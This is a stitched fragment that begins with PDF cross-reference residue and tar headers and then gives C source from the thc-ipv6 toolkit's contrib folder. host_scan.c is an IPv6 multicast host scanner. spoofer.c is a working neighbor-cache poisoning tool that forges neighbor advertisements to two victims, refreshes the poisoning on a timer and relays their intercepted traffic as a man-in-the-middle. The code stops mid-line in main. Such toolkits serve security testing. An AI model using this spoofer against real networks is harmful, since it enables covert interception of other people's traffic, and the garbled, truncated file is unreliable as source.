0000000240 65535 f 0000000241 65535 f 0000000242 65535 f 0000000243 65535 f 0000000244 65535 f 0000000245 65535 f 0000000246 65535 f 0000000247 65535 f 0000000248 65535 f 0000000249 65535 f 0000000250 65535 f 0000000251 65535 f 0000000252 65535 f 0000000253 65535 f 0000000254 65535 f 0000000255 65535 f 0000000256 65535 f 0000000257 65535 f 0000000258 65535 f 0000000259 65535 f 0000000260 65535 f 0000000261 65535 f 0000000262 65535 f 0000000263 65535 f 0000000264 65535 f 0000000265 65535 f 0000000266 65535 f 0000000267 65535 f 0000000268 65535 f 0000000269 65535 f 0000000270 65535 f 0000000271 65535 f 0000000272 65535 f 0000000273 65535 f 0000000274 65535 f 0000000275 65535 f 0000000276 65535 f 0000000277 65535 f 0000000278 65535 f 0000000279 65535 f 0000000280 65535 f 0000000281 65535 f 0000000282 65535 f 0000000283 65535 f 0000000284 65535 f 0000000285 65535 f 0000000286 65535 f 0000000287 65535 f 0000000288 65535 f 0000000289 65535 f 0000000290 65535 f 0000000291 65535 f 0000000292 65535 f 0000000293 65535 f 0000000294 65535 f 0000000295 65535 f 0000000296 65535 f 0000000297 65535 f 0000000298 65535 f 0000000299 65535 f 0000000300 65535 f 0000000301 65535 f 0000000302 65535 f 0000000303 65535 f 0000000304 65535 f 0000000305 65535 f 0000000306 65535 f 0000000307 65535 f 0000000308 65535 f 0000000309 65535 f 0000000310 65535 f 0000000311 65535 f 0000000312 65535 f 0000000313 65535 f 0000000314 65535 f 0000000315 65535 f 0000000316 65535 f 0000000317 65535 f 0000000318 65535 f 0000000319 65535 f 0000000320 65535 f 0000000321 65535 f 0000000322 65535 f 0000000323 65535 f 0000000324 65535 f 0000000325 65535 f 0000000326 65535 f 0000000327 65535 f 0000000328 65535 f 0000000329 65535 f 0000000330 65535 f 0000000331 65535 f 0000000332 65535 f 0000000333 65535 f 0000000334 65535 f 0000000335 65535 f 0000000336 65535 f 0000000337 65535 f 0000000338 65535 f 0000000339 65535 f 0000000340 65535 f 0000000341 65535 f 0000000342 65535 f 0000000343 65535 f 0000000344 65535 f 0000000345 65535 f 0000000346 65535 f 0000000347 65535 f 0000000348 65535 f 0000000349 65535 f 0000000350 65535 f 0000000351 65535 f 0000000352 65535 f 0000000353 65535 f 0000000354 65535 f 0000000355 65535 f 0000000356 65535 f 0000000357 65535 f 0000000358 65535 f 0000000359 65535 f 0000000360 65535 f 0000000361 65535 f 0000000362 65535 f 0000000363 65535 f 0000000364 65535 f 0000000365 65535 f 0000000366 65535 f 0000000367 65535 f 0000000368 65535 f 0000000369 65535 f 0000000370 65535 f 0000000371 65535 f 0000000372 65535 f 0000000373 65535 f 0000000374 65535 f 0000000375 65535 f 0000000376 65535 f 0000000377 65535 f 0000000378 65535 f 0000000379 65535 f 0000000380 65535 f 0000000381 65535 f 0000000382 65535 f 0000000383 65535 f 0000000384 65535 f 0000000385 65535 f 0000000386 65535 f 0000000387 65535 f 0000000388 65535 f 0000000389 65535 f 0000000390 65535 f 0000000391 65535 f 0000000392 65535 f 0000000393 65535 f 0000000394 65535 f 0000000395 65535 f 0000000396 65535 f 0000000397 65535 f 0000000398 65535 f 0000000399 65535 f 0000000400 65535 f 0000000401 65535 f 0000000402 65535 f 0000000403 65535 f 0000000404 65535 f 0000000405 65535 f 0000000406 65535 f 0000000407 65535 f 0000000408 65535 f 0000000409 65535 f 0000000410 65535 f 0000000411 65535 f 0000000412 65535 f 0000000413 65535 f 0000000414 65535 f 0000000415 65535 f 0000000416 65535 f 0000000417 65535 f 0000000418 65535 f 0000000419 65535 f 0000000420 65535 f 0000000421 65535 f 0000000422 65535 f 0000000423 65535 f 0000000424 65535 f 0000000425 65535 f 0000000426 65535 f 0000000427 65535 f 0000000428 65535 f 0000000429 65535 f 0000000430 65535 f 0000000431 65535 f 0000000432 65535 f 0000000433 65535 f 0000000434 65535 f 0000000435 65535 f 0000000436 65535 f 0000000437 65535 f 0000000438 65535 f 0000000439 65535 f 0000000440 65535 f 0000000441 65535 f 0000000442 65535 f 0000000443 65535 f 0000000444 65535 f 0000000445 65535 f 0000000446 65535 f 0000000447 65535 f 0000000448 65535 f 0000000449 65535 f 0000000450 65535 f 0000000451 65535 f 0000000452 65535 f 0000000453 65535 f 0000000454 65535 f 0000000455 65535 f 0000000456 65535 f 0000000457 65535 f 0000000458 65535 f 0000000459 65535 f 0000000460 65535 f 0000000461 65535 f 0000000462 65535 f 0000000463 65535 f 0000000464 65535 f 0000000465 65535 f 0000000466 65535 f 0000000467 65535 f 0000000468 65535 f 0000000469 65535 f 0000000470 65535 f 0000000471 65535 f 0000000472 65535 f 0000000473 65535 f 0000000474 65535 f 0000000475 65535 f 0000000476 65535 f 0000000477 65535 f 0000000478 65535 f 0000000479 65535 f 0000000480 65535 f 0000000481 65535 f 0000000482 65535 f 0000000483 65535 f 0000000484 65535 f 0000000485 65535 f 0000000486 65535 f 0000000487 65535 f 0000000488 65535 f 0000000489 65535 f 0000000490 65535 f 0000000491 65535 f 0000000492 65535 f 0000000493 65535 f 0000000494 65535 f 0000000495 65535 f 0000000496 65535 f 0000000497 65535 f 0000000498 65535 f 0000000499 65535 f 0000000500 65535 f 0000000501 65535 f 0000000502 65535 f 0000000503 65535 f 0000000504 65535 f 0000000505 65535 f 0000000506 65535 f 0000000507 65535 f 0000000508 65535 f 0000000509 65535 f 0000000510 65535 f 0000000511 65535 f 0000000512 65535 f 0000000000 65535 f 0000036397 00000 n 0000036700 00000 n 0000124994 00000 n 0000125502 00000 n 0000125808 00000 n 0000126406 00000 n 0000221966 00000 n 0000222620 00000 n 0000222966 00000 n 0000223170 00000 n 0000299034 00000 n 0000299335 00000 n 0000311647 00000 n 0000311691 00000 n 0000311719 00000 n 0000311951 00000 n 0000390803 00000 n trailer <<19E3892A0192E1488A0A1DCC976F134F>] >> startxref 392086 %%EOF xref 0 0 trailer <<19E3892A0192E1488A0A1DCC976F134F>] /Prev 392086/XRefStm 390803>> startxref 402846 %%EOFthc-ipv6-3.8/contrib/host_scan.c000066400000000000000000000366131376121567700166410ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #define HOST_SCAN_C_ #include "host_scan.h" #undef HOST_SCAN_C_ #define ETH_HDR_LEN 14 // Extensão do cabeçalho Ethernet #define IP6_HDR_LEN 40 // Extensão do cabeçalho IPv6 #define BUF_SIZE 16 // Extensão do Buffer de Envio #define PKT_FLAGS 0xdeadbeef // Flags de envio do pacote [ID|SEQ] extern int debug; // variavel que indica se o debug esta ativo ou nao unsigned char buf[BUF_SIZE]; // Buffer de dados de envio unsigned char *alive[65536]; // tabela de hosts encontrados [Armazena Endereços IP] unsigned char *aliveMac[65536]; // tabela de hosts encontrados [Armazena endereços MAC] int alive_no = 0; // contador do numero de hosts encontrados // funcao de ajuda do programa void help(char *prg) { printf("code by Fabricio Nogueira Buzeto and Carlos Botelho De Paula Filho\n\n"); printf("Syntax: %s [-r] interface [unicast-or-multicast-address [remote-router]]\n", prg); printf("Shows alive addresses in the segment. If you specify a remote router, the\n"); printf("packets are sent with a routing header prefixed by fragmentation\n"); // printf("Use -r to use raw mode.\n"); exit(-1); } /** Funcao de captura de pacotes [eh passada como parametro para a pcap ] u_char *foo --> ??? const struct pcap_pkthdr *header --> Cabecalho contendo informacoes sobre o pacote capturado fields: ts : uma "struct timeval" contendo o tempo onde o pacote foi capturado caplen : um "bpf_u_int32" contendo o numero de bytes da captura disponivel len : um "bpf_u_int32" contendo o numero total de bytes obtidos na captura [que pode ser superior ao numero de bytes disponiveis] const unsigned char *data --> campo de dados do pacote capturado [No caso o pacote ipv6] */ void check_packets(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { int i, ok = 1; unsigned char *ptr = (unsigned char *) data + 14; // pulando para o campo de src addr // Funcao de debug, realiza o dump do pacote capturado na tela if (debug) { thc_dump_data(ptr, header->caplen - 14, "Received Packet"); } // Verificacao caso o IP[Host] ja tenha sido dado como "alive" i = 0; while (ok && i < alive_no) { if ((memcmp(alive[i], ptr + 8, 16) == 0) && (memcmp(aliveMac[i], ptr - 8, 6) == 0)) ok = 0; i++; } // Se passou em todas as verificacoes, o endereco de origem eh armazenado em memoria if (ok && ((alive[alive_no] = malloc(16)) != NULL) && ((aliveMac[alive_no] = malloc(6)) != NULL)) { printf("."); memcpy(alive[alive_no], (ptr + 8), 16); memcpy(aliveMac[alive_no], (ptr - 8), 6); alive_no++; } } /** Função de auxílio para a impressão de endereços MAC unsigned char *ptr --> Endereço MAC a ser impresso na saida padrão */ void printMAC(unsigned char *ptr) { printf("%02X-%02X-%02X-%02X-%02X-%02X", *(ptr), *(ptr + 1), *(ptr + 2), *(ptr + 3), *(ptr + 4), *(ptr + 5)); } /** Função de auxílio para a impressão de endereços IPv6 unsigned char *ptr --> Endereço IPv6 a ser impresso na saida padrão */ void printIP6(unsigned char *ptr) { printf("%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x", *(ptr), *(ptr + 1), *(ptr + 2), *(ptr + 3), *(ptr + 4), *(ptr + 5), *(ptr + 6), *(ptr + 7), *(ptr + 8), *(ptr + 9), *(ptr + 10), *(ptr + 11), *(ptr + 12), *(ptr + 13), *(ptr + 14), *(ptr + 15)); } /** Função que imprime os resultados do scan. Acessa as estrutiras alive[] e aliveMac[] afim de obter os endereços dos hosts encontrados na varredura bem como o contador alive_no, utilizado para manter a contagem do número de hosts encontrados. */ void printAliveSystems() { int i; printf("Foram Encontrados %d Sistemas IPv6\n", alive_no); printf("+-----------------------------------------+-------------------+\n"); printf("| IP6 | MAC |\n"); printf("+-----------------------------------------+-------------------+\n"); for (i = 0; i < alive_no; i++) { printf("| "); printIP6(alive[i]); printf(" | "); printMAC(aliveMac[i]); printf(" |\n"); } printf("+-----------------------------------------+-------------------+\n"); } /** Função que realiza o envio de um pacote Echo Request para na interface especificada para o endereço de multicast passado como parâmetro. */ int sendEchoRequest(char *interface, // Interface inde se sendrá o pacote unsigned char *multicast6, // Enedereço de Multicast IPv6 [destino] unsigned char *src6, // Enedereço do host que send o pacote [IPv6] unsigned char *router6, // Roteador [NULL caso não necessite] unsigned char **routers, // Lista de Roteamento unsigned char *buf, // Buffer contendo os dados a serem senddos unsigned char *mac, // Endereço do destino [MAC] unsigned char *macsrc) { //Endereco do host que send o pacote [MAC] int pkt1_len = 0; // Tamanho do pacote a ser senddo unsigned char *pkt1 = NULL; // Pacote a ser montado e senddo thc_ipv6_hdr *hdr; // Estrutura do header IPv6 // cria o 1o pacote para o endereco de multicast if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, src6, multicast6, 0, 0, 0, 0, 0)) == NULL) return -1; // caso tenha sido setado uma rota e adicionado um header de rota if (router6 != NULL) if (thc_add_hdr_route(pkt1, &pkt1_len, routers, 1) < 0) return -1; // eh criado o pacote echo request if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_PINGREQUEST, 0, PKT_FLAGS, (unsigned char *) &buf, BUF_SIZE, 0) < 0) return -1; // aqui o pacote eh encapsulado if (thc_generate_pkt(interface, macsrc, mac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } // se for para uma rota send como fragmento ?? if (router6 != NULL) { hdr = (thc_ipv6_hdr *) pkt1; thc_send_as_fragment6(interface, src6, multicast6, NXT_ROUTE, hdr->pkt + IP6_HDR_LEN + ETH_HDR_LEN, hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN, hdr->pkt_len > 1448 ? 1448 : (((hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN) / 16) + 1) * 8); } else // senao send o pacote normalmente thc_send_pkt(interface, pkt1, &pkt1_len); } /** Função que realiza o envio de um pacote Echo Request, contendo uma falha no campo de opções, para na interface especificada para o endereço de multicast passado como parâmetro. */ int sendEchoRequestOptions(char *interface, // Interface inde se sendrá o pacote unsigned char *multicast6, // Enedereço de Multicast IPv6 [destino] unsigned char *src6, // Enedereço do host que send o pacote [IPv6] unsigned char *router6, // Roteador [NULL caso não necessite] unsigned char **routers, // Lista de Roteamento unsigned char *buf, // Buffer contendo os dados a serem senddos unsigned char *mac) { // Endereço do host q send o pacote [MAC] int pkt2_len = 0; // Tamanho do pacote a ser senddo unsigned char *pkt2 = NULL; // Pacote a ser montado e senddo thc_ipv6_hdr *hdr; // Estrutura do header IPv6 // cria o segundo pacote para o endereco de multicast if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt2_len, src6, multicast6, 0, 0, 0, 0, 0)) == NULL) return -1; // caso tenha sido setado uma rota e adicionado um header de rota if (router6 != NULL) if (thc_add_hdr_route(pkt2, &pkt2_len, routers, 1) < 0) return -1; // adiciona um header invalido ??? if (thc_add_hdr_misc(pkt2, &pkt2_len, NXT_INVALID, -1, (unsigned char *) &buf, BUF_SIZE) < 0) return -1; // adiciona um echo request if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_PINGREQUEST, 0, PKT_FLAGS, (unsigned char *) &buf, BUF_SIZE, 0) < 0) return -1; // encapsula o pacote thc_generate_pkt(interface, NULL, mac, pkt2, &pkt2_len); // se for para uma rota send como fragmento ?? if (router6 != NULL) { hdr = (thc_ipv6_hdr *) pkt2; thc_send_as_fragment6(interface, src6, multicast6, NXT_ROUTE, hdr->pkt + IP6_HDR_LEN + ETH_HDR_LEN, hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN, hdr->pkt_len > 1448 ? 1448 : (((hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN) / 16) + 1) * 8); } else // senao send o pacote normalmente thc_send_pkt(interface, pkt2, &pkt2_len); } int sendEchoRequestHopByHop(char *interface, // Interface inde se sendrá o pacote unsigned char *multicast6, // Enedereço de Multicast IPv6 [destino] unsigned char *src6, // Enedereço do host que send o pacote [IPv6] unsigned char *router6, // Roteador [NULL caso não necessite] unsigned char **routers, // Lista de Roteamento unsigned char *buf, // Buffer contendo os dados a serem senddos unsigned char *mac) { // Endereço do host q send o pacote [MAC] int pkt3_len = 0; // Tamanho do pacote a ser senddo unsigned char *pkt3 = NULL; // Pacote a ser montado e senddo thc_ipv6_hdr *hdr; // Estrutura do header IPv6; // cria o 3o pacote para o endereco de multicast if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt3_len, src6, multicast6, 0, 0, 0, 0, 0)) == NULL) return -1; // caso tenha sido setado uma rota e adicionado um header de rota if (router6 != NULL) if (thc_add_hdr_route(pkt3, &pkt3_len, routers, 1) < 0) return -1; // adiciona um cabecalho hop by hop ??? if (thc_add_hdr_hopbyhop(pkt3, &pkt3_len, (unsigned char *) &buf, BUF_SIZE) < 0) return -1; // adiciona um cabecalho echo request if (thc_add_icmp6(pkt3, &pkt3_len, ICMP6_PINGREQUEST, 0, PKT_FLAGS, (unsigned char *) &buf, BUF_SIZE, 0) < 0) return -1; // encapsula o pacote thc_generate_pkt(interface, NULL, mac, pkt3, &pkt3_len); // se for para uma rota send como fragmento ?? if (router6 != NULL) { hdr = (thc_ipv6_hdr *) pkt3; thc_send_as_fragment6(interface, src6, multicast6, NXT_ROUTE, hdr->pkt + IP6_HDR_LEN + ETH_HDR_LEN, hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN, hdr->pkt_len > 1448 ? 1448 : (((hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN) / 16) + 1) * 8); } else // senao send o pacote normalmente thc_send_pkt(interface, pkt3, &pkt3_len); } /** Função principal que realiza o host scan IPv6 na rede */ int hostScan(int rawmode, // informa se o "raw mode" foi ativado ou nao char *interface, // nome da interface de analise unsigned char *multicast6, // endereco do grupo multicast de destino unsigned char *router6, // roteador da rota parametrizada unsigned char **routers) { unsigned char *src6 = NULL, // endereco ip6 do host [que realiza o scan] *mac = NULL, // endereco MAC do host [que realiza o scan] string[64] = "ip6 and dst "; // Mascara de captura de pacotes [apenas 1pv6 e destino a ser marcado] time_t passed; // timestamp do inicio do scan pcap_t *p; // contexto pcap de captura // obtendo seu proprio endereco ip6 src6 = thc_get_own_ipv6(interface, multicast6, PREFER_GLOBAL); // se estiver operando em "raw mode" deve-se resolver seu proprio endereco MAC if (rawmode == 0 && (mac = thc_get_mac(interface, src6, multicast6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", thc_ipv62string(src6)); exit(-1); } // setar o endereco do host para a filtragem de pacotes recebidos strcat(string, thc_string2notation(thc_ipv62string(src6))); // make the sending buffer unique memset(buf, 'A', sizeof(buf)); // Preenche o buffer com o caractere 'A' time((time_t *) & buf[2]); // coloca da 3a posicao do buffer o tempo em segundos [padrao] buf[10] = getpid() % 256; // coloca o valor do process id .. buf[11] = getpid() / 256; // .. nas posicoes 11 e 12 do buffer memcpy(&buf[12], multicast6, 4); // coloca o endereco de multicast na 13a posicao do buffer // inicializa a interface de captura de pacotes com o filtro criado if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } // Envio do 1o pacote : Echo Request Comum sendEchoRequest(interface, multicast6, src6, router6, routers, buf, mac, NULL); // Envio do 2o pacote : Echo Request Com falha de Opções sendEchoRequestOptions(interface, multicast6, src6, router6, routers, buf, mac); // altera os dados do buffer ??? buf[0] = NXT_INVALID; buf[1] = 1; // Envio do 3o pacote : Echo Request Com dados Hop by Hop sendEchoRequestHopByHop(interface, multicast6, src6, router6, routers, buf, mac); // ??? while (thc_pcap_check(p, (char *) check_packets, NULL) > 0 && (alive_no == 0 || *multicast6 == 0xff)); // Anota o tempo de inicio passed = time(NULL); // enquanto nao se passam 5 segundos while (passed + 5 >= time(NULL) && (alive_no == 0 || *multicast6 == 0xff)) thc_pcap_check(p, (char *) check_packets, NULL); // verifica os pacotes capturados // fecha a interface de captura thc_pcap_close(p); // informa o numero de hosts ativos encontrados //printf("Found %d systems alive\n", alive_no); printf("\n"); printAliveSystems(); } int main(int argc, char *argv[]) { unsigned char *router6 = NULL; // roteador da rota parametrizada unsigned char *multicast6, // endereco do grupo multicast de destino *routers[2]; int rawmode = 0; // informa se o "raw mode" foi ativado ou nao char *interface; // nome da interface de analise // verifica se foi pedida as instrucoes de uso if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); // verifica se foi selecionado para funcionar em "raw mode" if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } // nome da interface de captura interface = argv[1]; // pode ser informado um grupo multicast para se limitar o escopo do scan if (argv[2] != NULL && argc > 2) multicast6 = thc_resolve6(argv[2]); else // caso nao tenha sido informado eh utilizado o endereco de multicast[broadcast] padrao multicast6 = thc_resolve6("ff02::1"); // caso seja passado alguma rota , setar os roteadores if (argv[3] != NULL && argc > 3) { router6 = thc_resolve6(argv[3]); routers[0] = multicast6; routers[1] = NULL; multicast6 = router6; // switch destination and router } hostScan(rawmode, interface, multicast6, router6, routers); return 0; } thc-ipv6-3.8/contrib/host_scan.h000066400000000000000000000021271376121567700166370ustar00rootroot00000000000000#ifndef HOST_SCAN_H_ #define HOST_SCAN_H_ #if defined (HOST_SCAN_C) #define HOST_SCAN_EXT #else #define HOST_SCAN_EXT extern #endif /** Função que realiza o envio de um pacote Echo Request para na interface especificada para o endereço de multicast passado como parâmetro. */ HOST_SCAN_EXT int sendEchoRequest(char *interface, // Interface inde se sendrá o pacote unsigned char *multicast6, // Enedereço de Multicast IPv6 [destino] unsigned char *src6, // Enedereço do host que send o pacote [IPv6] unsigned char *router6, // Roteador [NULL caso não necessite] unsigned char **routers, // Lista de Roteamento unsigned char *buf, // Buffer contendo os dados a serem senddos unsigned char *mac, // Endereço do host de destino [MAC] unsigned char *macsrc); // Endereço do host q send o pacote [MAC] #undef HOST_SCAN_EXT #endif thc-ipv6-3.8/contrib/spoofer.c000066400000000000000000000263151376121567700163330ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include "host_scan.h" #define SPOOFER_C_ #include "spoofer.h" #undef SPOOFER_C_ #define DEBUG 0 #define TIMER_TO_SPOOF 55 //in seconds, the normal cache is set to 60 seconds #define ETH_HDR_LEN 14 // Extensão do cabeçalho Ethernet #define IP6_HDR_LEN 40 // Extensão do cabeçalho IPv6 #define BUF_SIZE 16 // Extensão do Buffer de Envio #define PKT_FLAGS 0xdeadbeef // Flags de envio do pacote [ID|SEQ] extern int thc_socket; extern char *default_interface; int pidRepeater1 = 0; //process id to send the kill signal int pidInfector1 = 0; //process id to send the kill signal int pidInfector2 = 0; //process id to send the kill signal MArgs mArgs; unsigned char *pkt = NULL, buf[24], mac[7] = ""; unsigned char fakemac[7] = "\x00\x0c\x29\x01\x75\xfe" /*"\x00\xfa\b5\x00\x44\xd5", */ ; unsigned char targetmac[7] = /*"\x00\x0c\x29\xf2\x44\xd5"; */ "\x00\x0c\x29\x0e\x09\x7a"; unsigned char *mac6 = mac, *src6, *target6, *oldrouter6, *newrouter6; int pkt_len = 0; thc_ipv6_hdr *ipv6; char *interface; int rawmode = 0; int mychecksum; unsigned char *nodeAIp, *nodeAMac, *nodeBIp, *nodeBMac, *ownMac; int createRepeater(unsigned char *nodAIp, unsigned char *nodAMac, unsigned char *nodBIp, unsigned char *nodBMac); unsigned char *resolveMAC(unsigned char *maco) { unsigned char *mac = malloc(6); sscanf(maco, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); return mac; } /** * Own packet sending function * */ int daemon6_send_pkt(char *interface, unsigned char *pkt, int *pkt_len) { struct sockaddr sa; thc_ipv6_hdr *hdr = (thc_ipv6_hdr *) pkt; if (pkt == NULL || hdr->pkt == NULL || hdr->pkt_len < 1) return -1; if (interface == NULL) interface = default_interface; strcpy(sa.sa_data, interface); if (thc_socket < 0) thc_socket = thc_open_ipv6(); return sendto(thc_socket, pkt, *pkt_len, /*hdr->pkt, hdr->pkt_len, */ 0, &sa, sizeof(sa)); } /** Função que realiza o envio de um pacote Echo Request para na interface especificada para o endereço de multicast passado como parâmetro. */ int sendEchoRequest(char *interface, // Interface inde se sendrá o pacote unsigned char *multicast6, // Enedereço de Multicast IPv6 [destino] unsigned char *src6, // Enedereço do host que send o pacote [IPv6] unsigned char *router6, // Roteador [NULL caso não necessite] unsigned char **routers, // Lista de Roteamento unsigned char *buf, // Buffer contendo os dados a serem senddos unsigned char *mac, // Endereço do destino [MAC] unsigned char *macsrc) { //Endereco do host que send o pacote [MAC] int pkt1_len = 0; // Tamanho do pacote a ser senddo unsigned char *pkt1 = NULL; // Pacote a ser montado e senddo thc_ipv6_hdr *hdr; // Estrutura do header IPv6 // cria o 1o pacote para o endereco de multicast if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, src6, multicast6, 0, 0, 0, 0, 0)) == NULL) return -1; // caso tenha sido setado uma rota e adicionado um header de rota if (router6 != NULL) if (thc_add_hdr_route(pkt1, &pkt1_len, routers, 1) < 0) return -1; // eh criado o pacote echo request if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_PINGREQUEST, 0, PKT_FLAGS, (unsigned char *) &buf, BUF_SIZE, 0) < 0) return -1; // aqui o pacote eh encapsulado if (thc_generate_pkt(interface, macsrc, mac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } // se for para uma rota send como fragmento ?? if (router6 != NULL) { hdr = (thc_ipv6_hdr *) pkt1; thc_send_as_fragment6(interface, src6, multicast6, NXT_ROUTE, hdr->pkt + IP6_HDR_LEN + ETH_HDR_LEN, hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN, hdr->pkt_len > 1448 ? 1448 : (((hdr->pkt_len - IP6_HDR_LEN - ETH_HDR_LEN) / 16) + 1) * 8); } else // senao send o pacote normalmente thc_send_pkt(interface, pkt1, &pkt1_len); } /** * This function sends the packets to poison the victim, it is the way to win the race condition, if the host`s ndp * cache is statefull * */ void sendPoison() { thc_neighboradv6(mArgs.interface, nodeBIp, nodeAIp, resolveMAC(mArgs.ownMac), nodeAMac, 0x60000000, nodeBIp); usleep(100); thc_neighboradv6(mArgs.interface, nodeBIp, nodeAIp, resolveMAC(mArgs.ownMac), nodeAMac, 0x60000000, nodeBIp); usleep(200); thc_neighboradv6(mArgs.interface, nodeBIp, nodeAIp, resolveMAC(mArgs.ownMac), nodeAMac, 0x60000000, nodeBIp); usleep(300); thc_neighboradv6(mArgs.interface, nodeBIp, nodeAIp, resolveMAC(mArgs.ownMac), nodeAMac, 0x60000000, nodeBIp); usleep(400); thc_neighboradv6(mArgs.interface, nodeBIp, nodeAIp, resolveMAC(mArgs.ownMac), nodeAMac, 0x60000000, nodeBIp); } /** * This function sends the packets to heal the victim, it is the way to clean the infection * * */ void sendVaccine(unsigned char *ipA, unsigned char *ipB, unsigned char *macA, unsigned char *macB) { sendEchoRequest(mArgs.interface, ipA, ipB, NULL, NULL, NULL, macA, macB); thc_neighboradv6(mArgs.interface, ipB, ipA, macB, macA, 0x60000000, ipB); usleep(100); thc_neighboradv6(mArgs.interface, ipB, ipA, macB, macA, 0x60000000, ipB); usleep(200); thc_neighboradv6(mArgs.interface, ipB, ipA, macB, macA, 0x60000000, ipB); usleep(300); thc_neighboradv6(mArgs.interface, ipB, ipA, macB, macA, 0x60000000, ipB); usleep(400); thc_neighboradv6(mArgs.interface, ipB, ipA, macB, macA, 0x60000000, ipB); } void alarmed() { sendPoison(); alarm(TIMER_TO_SPOOF); } int maintainInfection(unsigned char *nodAIp, unsigned char *nodAMac, unsigned char *nodBIp, unsigned char *nodBMac) { int pid = 0; if ((pid = fork()) == 0) { nodeAIp = thc_resolve6(nodAIp); nodeAMac = resolveMAC(nodAMac); nodeBIp = thc_resolve6(nodBIp); nodeBMac = resolveMAC(nodBMac); if (DEBUG) puts("Infectuous process!"); signal(SIGALRM, alarmed); //sends an echo request in order to induce a neigh solicitation sendEchoRequest(mArgs.interface, nodeAIp, nodeBIp, NULL, NULL, NULL, nodeAMac, resolveMAC(mArgs.ownMac)); alarmed(); while (1) sleep(1); //to keep the process alive exit(0); // never reached } return pid; } void end() { printf("Healing - %d %d %d\n", pidInfector1, pidInfector2, pidRepeater1); kill(pidInfector1, SIGKILL); kill(pidInfector2, SIGKILL); kill(pidRepeater1, SIGKILL); sleep(20); printf("Healing\n"); sendVaccine(thc_resolve6(mArgs.ipAddrVic1), thc_resolve6(mArgs.ipAddrVic2), resolveMAC(mArgs.macAddrVic1), resolveMAC(mArgs.macAddrVic2)); sendVaccine(thc_resolve6(mArgs.ipAddrVic2), thc_resolve6(mArgs.ipAddrVic1), resolveMAC(mArgs.macAddrVic2), resolveMAC(mArgs.macAddrVic1)); exit(0); } void spoofer(MArgs mArgss) { mArgs = mArgss; nodeAIp = thc_resolve6(mArgs.ipAddrVic1); nodeAMac = resolveMAC(mArgs.macAddrVic1); nodeBIp = thc_resolve6(mArgs.ipAddrVic2); nodeBMac = resolveMAC(mArgs.macAddrVic2); //Decides if it is a 1 side spoof or a 2 side spoof if (mArgs.twoVics) { pidInfector1 = maintainInfection(mArgs.ipAddrVic1, mArgs.macAddrVic1, mArgs.ipAddrVic2, mArgs.macAddrVic2); //maintain the spoofer to A side pidInfector2 = maintainInfection(mArgs.ipAddrVic2, mArgs.macAddrVic2, mArgs.ipAddrVic1, mArgs.macAddrVic1); //maintain the spoofer to B side sleep(1); pidRepeater1 = createRepeater(mArgs.ipAddrVic1, mArgs.macAddrVic1, mArgs.ipAddrVic2, mArgs.macAddrVic2); signal(SIGTERM, end); //sets the function to be called when the program ends while (1); } else { puts("1"); } puts("---"); } void repeater(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); int pkt_len = header->caplen; unsigned char *pkt = NULL; int erro = 0; if (ipv6hdr[6] == NXT_ICMP6 && (ipv6hdr[40] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_NEIGHBORADV)) { return; } if (memcmp(data, ownMac, 6)) { return; } pkt = malloc(header->caplen); memcpy(pkt, data, header->caplen); if (DEBUG) thc_dump_data(pkt, pkt_len, "CAPTURED PACKET:"); if (memcmp(data + 6, nodeAMac, 6) == 0) { memcpy(pkt, nodeBMac, 6); //changing the destination } if (memcmp(data + 6, nodeBMac, 6) == 0) { memcpy(pkt, nodeAMac, 6); //changing the destination } memcpy(pkt + 6, ownMac, 6); //changing the source if (DEBUG) printf(" < %d >\n", pkt_len); if (DEBUG) thc_dump_data(pkt, pkt_len, "SPOOFED PACKET:"); clearerr(stderr); if ((erro = daemon6_send_pkt(interface, pkt, &pkt_len)) < 0) perror("No success"); if (DEBUG) printf("errono = %d\n", erro); } int createRepeater(unsigned char *nodAIp, unsigned char *nodAMac, unsigned char *nodBIp, unsigned char *nodBMac) { ownMac = resolveMAC(mArgs.ownMac); if (DEBUG) thc_dump_data(ownMac, 6, "Own mac:"); nodeAIp = thc_resolve6(nodAIp); nodeAMac = resolveMAC(nodAMac); nodeBIp = thc_resolve6(nodBIp); nodeBMac = resolveMAC(nodBMac); int pid = 0; char filter[256] = "ip6 and ( ( src "; strcat(filter, nodAIp); strcat(filter, " and dst "); strcat(filter, nodBIp); strcat(filter, " ) or ( src "); strcat(filter, nodBIp); strcat(filter, " and dst "); strcat(filter, nodAIp); strcat(filter, " ) )"); if (DEBUG) printf("Filter : %s \n", filter); if ((pid = fork()) == 0) { thc_pcap_function(mArgs.interface, filter, (char *) repeater, 1, NULL); exit(0); } return pid; } int main(int argc, char 